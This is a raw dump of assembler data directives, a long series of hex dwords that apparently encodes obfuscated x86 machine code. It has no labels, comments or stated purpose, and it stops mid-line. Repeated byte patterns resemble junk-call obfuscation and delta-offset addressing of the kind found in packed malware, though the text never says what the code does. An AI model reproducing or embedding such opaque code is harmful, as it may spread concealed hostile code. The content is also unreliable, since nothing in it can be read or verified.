6D728484h dd 106C7h, 95330000h, 5EA2F21h, 6B19D8Bh, 0BD8305EAh, 5EA4BC3h dd 0F3850F05h, 0E9000000h, 8, 0FA53B0B3h, 5F556453h, 2E7DB58Bh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0E9FC34C3h, 13h, 9E585ACBh, 0E20A1C9Dh, 5BD465BDh dd 21681DFDh, 0FD6F5C6h, 684h, 619D8B00h, 0B905EA07h, 64h dd 2545BD09h, 9D8905EAh, 5EA2DF5h, 0FE83E80h, 0A84h, 0D9BF0F00h dd 12E9h, 80E2B300h, 0FC2057Eh, 4B84h, 9B58900h, 4605EA2Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4BC35141h dd 9AFB91h, 6890Fh, 8D890000h, 5EA1705h, 0A9850F49h, 9FFFFFFh dd 0EA1259BDh, 2CE905h, 9D090000h, 5EA1181h, 1439B589h dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0A5B2F8C3h, 89585BB7h, 0EA0C6195h, 0E9BD8305h dd 5EA05h, 10A840Fh, 12E80000h, 0BE000000h, 86B0C0E4h dd 0D7B2A24Eh, 0DFAE80D3h, 2878487Ah, 599D09DBh, 5A05EA11h dd 4585C660h, 5405EA1Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 20C35646h, 0F69365F2h, 68DFB70Fh, 0A8CD6C44h dd 438FBB66h, 0B0243481h, 0BA5783D2h, 368E608Ch, 0CA19D23h dd 0B5FF05EAh, 5EA238Dh, 942012BBh, 0A0858D5Bh, 8B05EDAFh dd 0EA068995h, 6AD0FF05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 42A0C352h, 0DD6FD429h dd 0F27525Ch, 0B88h, 6E900h, 0F52B0000h, 6CACE899h, 8E9006Ah dd 44000000h, 2658D2B1h, 0FFD4974Ch, 0EA05E9B5h, 0FFDF8B05h dd 336056D0h, 0EA0EE98Dh, 0F19D3305h, 6105EA0Eh, 11B5295Bh dd 6105EA29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 65C35545h, 68E0Fh, 0BD310000h, 5EA2309h, 81985C7h dd 105EAh, 850F0000h, 6, 1BC1958Bh, 0E86005EAh, 6, 0EF477632h dd 9D8B4A27h, 5EA1A5Dh, 0FE0E685Ah, 0DF8B395Bh, 8E243481h dd 6A395BFEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 441C355h, 0ECF0D5B4h, 0FF6A8F7Fh dd 1C959D0Bh, 95FF05EAh, 5EA2999h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0BAC35646h, 0F2CCDBDh, 680h dd 0E9958B00h, 6105EA0Fh, 6999D8Bh, 0E95005EAh, 12h, 0C55174C8h dd 5B86E7D5h, 9474DD97h, 0CDF0DC11h, 489E641h, 8BDA8B24h dd 0EA131185h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9E988C8h, 0C0000000h, 79731960h, 1D2BB9BAh, 840FC00Bh dd 52h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 0A6C35141h, 6198F245h, 0C2E6C3BFh, 8195FF8Dh, 6A05EA16h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 26BFC356h, 0D883D89h, 0FC9267Fh, 85C7D6B7h dd 5EA14B1h, 1, 0BBB6660h, 0DE935h, 30FE0000h, 3677B202h dd 9D7F8ACAh, 6113C433h, 5F1BD83h, 0F0005EAh, 3D84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0EBB09BFAh, 9D3DBCD1h, 329D9D89h, 816605EAh, 0FF0399C3h dd 0EA2CA195h, 27E68005h, 2B0DBD89h, 0BD8305EAh, 5EA24C1h dd 30840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1D17C352h, 95BD894Ah dd 0FF05EA1Dh, 0EA2CB595h, 319D2305h, 8305EA2Dh, 0EA1C2DBDh dd 840F0005h, 58h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 5CC35646h, 10E952h, 71CB0000h, 8A95C9A6h dd 1A2960B0h, 2B3EEBD7h, 835B3578h, 0EA2AF9BDh, 850F0005h dd 18h, 0B1EFC281h, 9D8B10EFh, 5EA3101h, 14A595FFh, 8D8905EAh dd 5EA307Dh, 3319BD83h, 0F0005EAh, 4884h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D354F759h, 0E9C9BB66h, 0D798581h, 400305EAh, 36BA0000h dd 81398EBAh, 0EA076985h, 400305h, 6820F00h, 89000000h dd 0EA2EA9B5h, 0E8310F05h, 9, 0B2C0D6F8h, 6369E33Dh, 8D8D5AC7h dd 5EA5BFBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 6BC35242h, 86D2403h, 25FAB58Ah, 1C418D89h, 18905EAh dd 1C7D9D89h, 0C23305EAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 9DC35343h, 0BDC2367Fh, 3307BF05h, 0EA08099Dh dd 13E905h, 433B0000h, 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h dd 16B27B07h, 441892Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0BCC35040h, 0AE10C602h, 9D8B84EFh, 5EA1699h dd 69B2310Fh, 5C0A8D8Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 803A33C3h, 18995C6h dd 0FB5958Bh, 0C23305EAh, 0DB81B7B7h, 0C1768EFh, 6A044189h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 147BC356h, 0EE960h, 0E1010000h, 0B43F5A50h dd 28F816A6h, 2FEAE15Bh, 14850Fh, 0EE80000h, 87000000h dd 44B833B1h, 8F0858D4h, 714CC855h, 83615AE1h, 0EA24B1BDh dd 840F0005h, 3Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 1FC35646h, 0C78AA236h, 0BAD958Bh, 95FF05EAh dd 5EA3069h, 0BE9h, 0E5131800h, 2C74959Bh, 14668B89h, 0C9DBD83h dd 0F0105EAh, 5685h, 0D78B6600h, 0E9D0BF0Fh, 4Bh, 9BF38166h dd 0BEB58B7Dh, 0C705EA5Dh, 6, 0DFB58B00h, 0C705EA5Ah, 6 dd 6AF9CF00h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 5FF2C350h, 0DA336B00h, 8B2D30EFh dd 99D89DEh, 8305EA1Bh, 0EA14B1BDh, 840F0005h, 0D9h, 0BD8364B2h dd 5EA1245h, 0B7850F01h, 3000000h, 0EA1E9195h, 0B78D8B05h dd 8105EA4Bh, 0F105F1D2h, 1C60Dh, 23E5958Bh, 0E86005EAh dd 0Ah, 4493D358h, 6A6948C1h, 800FDD28h, 6, 3139B529h dd 685B05EAh, 2A8771B9h, 6745BA66h, 39243481h, 8B2A8771h dd 0EA1E6D9Dh, 31D38105h, 6A275165h, 86BA60FFh, 90D3AA0h dd 0EA182D95h, 0EF806105h, 9995FF00h, 6605EA29h, 61475DBBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0AC35646h dd 6612B2BFh, 0D52BC381h, 16D95FFh, 0BD8905EAh, 5EA151Dh dd 4BB78D8Bh, 9D8905EAh, 5EA1611h, 1FEDF8Bh, 15F59D8Bh dd 0BD8305EAh, 5EA0255h, 6850F01h, 89000000h, 0EA0A61BDh dd 6AC08B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0BF68C355h, 0FE9F340h, 28000000h dd 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0BD83CA5Bh, 5EA13D9h dd 83097500h, 0EA2EE5BDh, 1A740005h, 0C08B5350h, 0D79858Bh dd 858905EAh, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh dd 5EA2EE5h, 50187400h, 79858B53h, 8905EA0Dh, 0EA0D7985h dd 0E49D8D05h, 0FF05ECDAh, 60585BD3h, 66B5BE60h, 9D0169B6h dd 5EA112Dh, 0EAC88161h, 611A28E9h, 7D19D03h, 0C08B05EAh dd 0C7D8529h, 0BD8305EAh, 5EA14B1h, 3D850F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0FA79C355h, 0A47D4A11h, 0CC12BA66h, 24D5BD83h dd 0F0005EAh, 0B84h, 8B666000h, 35BD8BD7h, 6105EA23h, 14B1BD83h dd 0F0005EAh, 5E84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 357576B0h, 89442289h dd 0EA30F1B5h, 99BD8305h, 5EA14h, 29840Fh, 8B0F0000h, 6 dd 1DA5958Bh, 10E805EAh, 21000000h, 62E9DEC7h, 7E49300Bh dd 88FB2F51h, 5773A60Bh, 2BF38166h, 835A5B3Ch, 0EA14B1BDh dd 840F0005h, 44h, 2DF28166h, 79958B1Ch, 8305EA15h, 0EA1499BDh dd 840F0005h, 2Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 4BC35545h, 0EB779D1Bh, 7E9h, 0AE082100h dd 0D0F9B697h, 14B1BD83h, 0F0005EAh, 1F84h, 4D8D8900h dd 8105EA1Ah, 6BF685E2h, 0E9BD834Fh, 5EA09h, 6840Fh, 958B0000h dd 5EA2AE5h, 14B1BD83h, 0F0005EAh, 3E84h, 0F5BD2900h, 8305EA0Eh dd 0EA12A1BDh, 840F0005h, 2Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 91C35040h, 0BA78274Dh, 31495A6Ah dd 1BBD95FFh, 8BF505EAh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 8D4B5672h, 0B9EDE4E1h dd 0D9D8B84h, 8305EA33h, 0EA13D9BDh, 9750005h, 2EE5BD83h dd 740005EAh, 8B53501Ah, 69858BC0h, 8905EA07h, 0EA076985h dd 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh, 18740005h dd 858B5350h, 5EA0769h, 7698589h, 9D8D05EAh, 5ECDAFDh dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0CDC35747h, 0F5C59E90h, 2535BD29h, 0CE805EAh, 93000000h dd 38FA16E8h, 0EB316E73h, 80A00700h, 895A01CAh, 0EA07C5BDh dd 8BC08B05h, 0B1BD83D1h, 5EA14h, 429840Fh, 9D8B0000h dd 5EA2AB9h, 83D9B70Fh, 0EA0FC9BDh, 840F0205h, 5Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h, 53EB7AA8h dd 0A2B48B87h, 38E0Fh, 8B660000h, 9DBD83D6h, 105EA0Ch dd 23850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0EA28D1C3h dd 82A580B0h, 0BDBD8323h, 5EA20h, 0A1840Fh, 0D2810000h dd 7017C59Ch, 95095060h, 5EA02A5h, 0B78D8B5Bh, 0E805EA4Bh dd 6, 2D3CFA52h, 0F7801E17h, 1FE5AD9h, 0E2CB8166h, 7D9D8B8Ch dd 6805EA30h, 56D686BEh, 81D18B66h, 863E2434h, 958956D6h dd 5EA1BA5h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3F294FC3h, 1A320D8Dh, 9995FF82h dd 8905EA29h, 0EA19ED9Dh, 8C0F6105h, 6, 2975958Bh, 896005EAh dd 0EA07BD95h, 10E905h, 37210000h, 7CC040F6h, 8A29703Ah dd 0B1B891Ch, 606105ABh, 6C00BB66h, 4BB78D8Bh, 0B70F05EAh dd 0FED08BD6h, 3268FC01h, 0BB39129Eh, 41E23989h, 0B2243481h dd 6A39129Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 4C05C352h, 0B7446EBCh, 6AEFB777h dd 0EE9FFh, 0C9B00000h, 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch dd 299995FFh, 0BD8905EAh, 5EA09F1h, 0B2CE8061h, 1A91BD8Dh dd 858905EAh, 5EA0EA9h, 6A1C4F8Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BAA7C353h dd 7DD66F27h, 0B6C0EAD8h, 0D5BD09B4h, 6A05EA17h, 51958B01h dd 5005EA2Eh, 6341BA66h, 6A240C89h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CE22C352h dd 0AD5CE6B5h, 2A158D89h, 13B605EAh, 7071858Dh, 6A05EDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0CF5B1EC3h, 9D0BEA27h, 5EA0FB1h, 0F18AD0FFh, 89204F8Bh dd 0EA1B4985h, 66036A05h, 91E5A1BBh, 7E8ABB66h, 8B609150h dd 858D61DAh, 5ED7071h, 0D059D8Bh, 0D0FF05EAh, 0BD8DDA8Bh dd 5EA1A91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 7DC35343h, 0BCE09465h, 3324F922h, 8EF280BDh, 0BDDBA66h dd 0BA1C4F8Bh, 158CF369h, 9D2B016Ah, 5EA09A9h, 0D68B6650h dd 8B240C89h, 0EA240195h, 0D1BF0F05h, 7071858Dh, 13E905EDh dd 0D0000000h, 6B3BF6B0h, 0E15668ECh, 35235E9Fh, 0E0029E57h dd 0D0FFC81Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 8FC35747h, 0F502E38h, 28Ah, 0B7D68B00h, 204F8B68h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 30C35747h dd 0BE98Fh, 3D9A0000h, 35B4A45Bh, 9B1780B2h, 19D8B3Fh dd 6A05EA1Bh, 0ED9D8903h, 6005EA06h, 47F56BBAh, 0E891616Eh dd 0Eh, 0FFF05E5Ah, 1A22CFB0h, 2221EC92h, 0BB661F2Ch, 505B34C8h dd 7BB6657h, 8A915A9Dh, 71858DF7h, 8905ED70h, 0EA17218Dh dd 8BD0FF05h, 0EA238195h, 0B78D8B05h, 8A05EA4Bh, 6601FEF8h dd 8BECF0BBh, 0EA4BB785h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 1EDB709Ch dd 0FD958B68h, 0FE05EA10h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 919FDA03h dd 0BA6682E7h, 9D319E50h, 5EA3199h, 7B99D23h, 16A05EAh dd 1AA0A2BBh, 4E867h, 9FFF0000h, 1BBAFFFFh, 50718D97h dd 156CB4BAh, 24448B63h, 1BB6604h, 0BA008BBDh, 288C24D8h dd 4244489h, 6058D68Bh, 8B66D7B3h, 858D61F0h, 5ED707Bh dd 0FFADF380h, 6D9D8BD0h, 8305EA32h, 0EA24D5BDh, 840F0005h dd 0DCh, 11619D8Bh, 0BD8305EAh, 5EA02D1h, 0C9850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 1B2EC356h, 0A18D3360h, 8B05EA0Bh, 0EA121995h dd 0AFBB6105h, 8D2E10D7h, 0ED70858Dh, 6AD08B05h, 6AF58A03h dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 8276C749h, 0F523C16h, 575BD9B7h, 2EA59D8Bh dd 0FF5A05EAh, 0F28ABAD1h, 16A64D8h, 14E9h, 7CA9AB00h dd 0FC6515CDh, 0D328A058h, 4F2E7163h, 98C6702h, 0E9016AD9h dd 0Eh, 0F2EC95E3h, 9537D659h, 254A6968h, 0D1FF5D92h, 0CAC38166h dd 5EB3E87Ah, 0E960FA71h, 0Dh, 89DF5303h, 0FAC3B3F4h, 95EE7123h dd 999D3149h, 6105EA0Dh, 9D8B206Ah, 5EA0F29h, 0BD89FF6Ah dd 5EA07C5h, 299995FFh, 9D8905EAh, 5EA17D5h, 0B8h, 0C9B96000h dd 0F179D3Ch, 0E961DBBFh, 6, 4413495Fh, 0C00BBF41h, 4C840Fh dd 8E0F0000h, 14h, 0FE9h, 5661F100h, 4054B678h, 389C0A7Eh dd 97DD20B5h, 23E9BD83h, 0F0005EAh, 2584h, 17BA6600h, 6D95FF7Dh dd 0E805EA08h, 0Fh, 2DB9E47Dh, 0D807A8B2h, 68B5F0F4h, 8B2D3F89h dd 0EA23C195h, 858B5B05h, 5EA0C95h, 68A0Fh, 9D330000h dd 5EA0C59h, 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F8D3C355h, 75623B7Fh dd 47E2A479h, 0CC22F8BAh, 7BB75868h, 6AD98C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 6B03C350h, 0E456E5F4h, 0B1958B18h, 0E905EA1Bh, 9, 0C3420220h dd 67E60E7Bh, 4C1F610h, 54840Fh, 0DE80000h, 0E7000000h dd 0C4C3A563h, 7E4609A3h, 8BF1B4B0h, 1BF19589h, 0E95B05EAh dd 36h, 0B58B7DB7h, 5EA00F5h, 68A0Fh, 9D890000h, 5EA0FD9h dd 0C681DF8Bh, 1180h, 6800Fh, 95890000h, 5EA0EADh, 6C7h dd 0B70F0000h, 0D674BBD0h, 6A5E50BBh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F086C355h dd 0C38166B7h, 0F883402Fh, 0A4840F00h, 8B00000Bh, 1F883D3h dd 186850Fh, 0CB810000h, 4000DC92h, 11BCDB81h, 0B84CACh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 5AF7C355h, 0B72E29ECh, 0AE87F2Ah dd 9C000000h, 0F216506Dh, 0CE1E094Bh, 5BF0B299h, 30499D8Bh dd 0C00B05EAh, 0BA840Fh, 89600000h, 0EA0EA595h, 0D0816605h dd 83617D57h, 840F01F8h, 0D8h, 0F137DA81h, 0F88330F8h dd 33840F03h, 0BA000000h, 0EEB636h, 0B8h, 5B58900h, 0B705EA03h dd 74BD8D03h, 0E9005B79h, 0Eh, 1FA091Fh, 0ED75BEECh, 6ED93880h dd 0E7FFB6BFh, 3259D89h, 1B805EAh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0C018C353h, 0BD89E064h, 5EA32A1h, 74BD8DF8h, 6A005B79h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 2E8FC356h, 0A997073Dh, 9D0953A0h, 5EA095Dh dd 9D8BE7FFh, 5EA0EFDh, 4243BD8Dh, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 305466C3h dd 27340F98h, 288E979h, 8D890000h, 5EA314Dh, 4C1285C7h dd 505EAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0B92185C3h, 9D23D18Bh, 5EA2F4Dh dd 0B8D68B66h, 5, 0E9F5DB80h, 903h, 3B1DBA66h, 0F02F883h dd 9485h, 0A99D8B00h, 6605EA11h, 3F23C381h, 0B8h, 0FC00B00h dd 5884h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0BB50E546h, 7617362Ch, 0F01F883h, 0FFFF6F84h, 6E9FFh dd 0B10C0000h, 0BF03B48Ah, 0F03F883h, 0FFFEC584h, 0F4EA80FFh dd 0B8h, 8D55B700h, 5B7974BDh, 0FD8AFC00h, 0BF0FE7FFh dd 3BBD8DD0h, 0E905EA44h, 0Eh, 0CCD11BBFh, 464DF6FAh, 660BC8FAh dd 0A7E9AB94h, 89000001h, 0EA00ADBDh, 3F88305h, 71850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 665CCEC3h, 0D30CD281h, 0BD8D98B7h, 5EA45CFh dd 11E9h, 0CA712700h, 0C772C3EBh, 210AA99h, 89118BD2h dd 53E9F8E6h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 9D04C353h, 0F9CE5BAh dd 58Eh, 2230BB00h, 83F80C2Bh, 850F05F8h, 10h, 0C4E38166h dd 7D5E976h, 0D2810000h, 37D829FEh, 0F06F883h, 6385h, 8E86000h dd 9000000h, 5BB02BB6h, 89F3AB69h, 0EA25999Dh, 85895F05h dd 5EA1CD5h, 0C7BD8D61h, 8B05EA47h, 6E8D1h, 2ED80000h dd 3CF504B0h, 0E95A8BB3h, 0CEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0F0C35747h, 0DF6E3956h, 4D9D8B3Ah dd 6605EA29h, 37A0C281h, 0F07F883h, 2C85h, 0C1958B00h dd 8B05EA28h, 0EA006995h, 0FDBD8D05h, 0B705EA20h, 5E8D4h dd 0AA290000h, 0F297440h, 0E95BD8B7h, 16Dh, 51EA8166h dd 0AF883F4h, 64850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 8D39FC3h, 3AD078A0h dd 0FD9B70Fh, 681h, 419D8B00h, 8D05EA12h, 0EA49BFBDh, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0E99C91D2h, 0E95DE860h, 6, 2AA1958Bh, 8B5705EAh, 0EA32A99Dh dd 0F987B905h, 6A06CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E8A30FC3h, 12h, 0FBA3EE17h, 80DBC2DCh dd 0F47B71E6h, 0BEADDB75h, 9D8B3CC4h, 5EA2391h, 6870F5Ah dd 29000000h, 0EA1025B5h, 3F8305h, 9A840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 3AF38EC3h, 7C9827ADh, 46554FBAh, 6A0F3024h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 68AEC352h, 9A99D798h, 0BD78E356h, 6AC9D1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 936EA5C3h dd 0E966B747h, 0FFFFFF81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0E3C35545h, 814C785Ch, 0B0EC698h, 0BF0FF85Fh dd 0BBBD89D2h, 8B05EA4Bh, 0D8D8DDEh, 6A05EA24h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F34FC353h, 438CE125h, 2E7DB5FFh, 6A05EAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 187D96C3h dd 12E9A0h, 5DB0000h, 88873A0Dh, 89C0D317h, 0CE1A36C7h dd 453465DDh, 858D29B7h, 5ECD7DFh, 0FDBD8D50h, 8D05EA52h dd 0EA6DD38Dh, 1ABCB805h, 0CF2B5483h, 0C8D00730h, 0F8754947h dd 6D47B58Dh, 8D8D05EAh, 5EA6DEBh, 0A4F3CF2Bh, 0B8C933h dd 0B000000h, 834674C0h, 0EA23E9BDh, 6740005h, 86D95FFh dd 0B58B05EAh, 5EA4BBBh, 0D7DF858Dh, 0D0FF05ECh, 41D8858Dh dd 0D0FF05EAh, 20CD85C7h, 105EAh, 0A58B0000h, 5EA1D71h dd 1D8DB58Bh, 0AD8B05EAh, 5EA0BCDh, 0CC2C033h, 5E900h dd 0F0640000h, 0E9480EC5h, 5, 0A2513BA4h, 0B5BD834Bh, 5EA02h dd 27840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0FFDDB0C3h, 0EA125595h, 83BB6605h dd 0D1BD83A9h, 5EA1Ch, 1A7850Fh, 0F600000h, 680h, 0C1B58900h dd 0BA05EA02h, 64D8A797h, 0D1BD8361h, 105EA02h, 187850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 503ADCC3h, 6D958B1Dh, 8305EA0Ch, 0EA1CE1BDh dd 840F0005h, 155h, 8BD6E680h, 0EA2D059Dh, 0EBD8305h, 5EA4Ch dd 13F840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0EDC7C6C3h, 0AFB01FCAh, 0AD958B51h dd 8D05EA11h, 0ECD7DF85h, 5E805h, 204D0000h, 8BB57EC5h dd 0EA05BD95h, 0B58B5B05h, 5EA4BBBh, 0FFD38B66h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0F504F5Dh, 689h, 81CA8100h, 5B63B0F3h, 1A4585C6h, 0BA5405EAh dd 0A5A6C94h, 9E9h, 79E9F700h, 423883A0h, 9568B5D1h, 50C613C0h dd 0D08B6652h, 8B66310Fh, 81585ADEh, 7E612434h, 0FA8A395Dh dd 0DE49EB81h, 0B5FF1244h, 5EA1D45h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 3AC35242h, 8B597E81h, 0EA030D95h dd 69858D05h, 8B05EA39h, 33D0FFDEh, 0EA15219Dh, 0F006A05h dd 284h, 6AD88A00h, 0B70F50FFh, 0D0FF5BD6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3AC35747h, 0BEDB8129h dd 0FF682137h, 0EA0B51B5h, 68E0F05h, 1000000h, 0EA095D85h dd 7D95FF05h, 8905EA2Eh, 0EA16FD8Dh, 0BBB58B05h, 0F05EA4Bh dd 68Ch, 79958900h, 0C305EA00h, 11890Fh, 0CE90000h, 54000000h dd 9D84F6E3h, 6D96B73Ah, 8B7FE8B2h, 0EA0C95B5h, 0B91B205h dd 2E840FF6h, 50000000h, 1571958Bh, 0E85A05EAh, 0Fh, 39D258EEh dd 9DB663A2h, 4C9AEF64h, 0BBF334ABh, 2DEBAA0Eh, 6C65Ah dd 89D88B66h, 0EA02C99Dh, 0C3858905h, 8B05EA4Bh, 0F883DEh dd 375840Fh, 0B80000h, 66000000h, 9589D68Bh, 5EA07E9h dd 0F00F883h, 0D784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 96593272h, 1517FA4Fh dd 0C98D2987h, 8305EA2Ah, 850F02F8h, 84h, 2EFDBD09h, 858D05EAh dd 5EA423Eh, 2ACDDA81h, 292D1ECCh, 6A000009h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 4799C356h, 8B8E34D8h, 0EA1DF99Dh, 8C0F9005h, 4, 42FCBA66h dd 4EBA6650h, 6A9074h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 55BA6DC3h, 0D3FCE655h, 0CB809C57h dd 819D2382h, 0C305EA0Fh, 0BAF0CE80h, 47CF7B95h, 0B8h dd 0D5EB8100h, 0E952863Ah, 297h, 91E1CA81h, 5E92B04h, 0BF000000h dd 55B60BF8h, 1B8h, 14E900h, 51BF0000h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 0BB6B4803h, 0F7803DBFh, 43BD8D0Eh, 6605EA42h dd 0F3C1ABAh, 8CE9D0B7h, 66000000h, 83019BBBh, 850F02F8h dd 20h, 443BBD8Dh, 8E0F05EAh, 0Ch, 6880Fh, 0B5890000h dd 5EA1BE9h, 62E9h, 0B2C28000h, 0F03F883h, 3C85h, 9D8B5300h dd 5EA20B1h, 0CFBD8D5Ah, 6A05EA45h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1AB0C355h dd 0FDA8B78h, 20E9DFB7h dd 8B000000h, 0EA03319Dh, 5F88305h, 11850Fh, 9D8B0000h dd 5EA0635h, 0BAE9h, 0C1958B00h, 5705EA09h, 0B9DF8B66h dd 6CEF987h, 0FE8h, 0AFC35600h, 7638872Ah, 0ED5926Dh, 843825D8h dd 4E10BB66h, 5E95Ah, 0AF8B0000h, 83726E42h, 840F003Fh dd 7Fh, 30D6BF0Fh, 3DB5290Fh, 0D105EA17h, 618D89C9h, 4705EA12h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B9C35242h dd 0FC75F730h, 2E55EDC8h, 8E82Bh, 0DB290000h, 9D4901A1h dd 5E900ADh, 0CD000000h, 0DFD28ED1h, 958B535Bh, 5EA12CDh dd 0FF99E95Bh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0C1A589C3h, 83D78B66h, 850F05F8h dd 10Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 3FC35040h, 29EA80ABh, 6AD98C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 8D43C350h dd 8B56C2C9h, 0EA2EA595h, 81665B05h, 896A0BF2h, 0EA02B195h dd 4C1F605h, 58850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 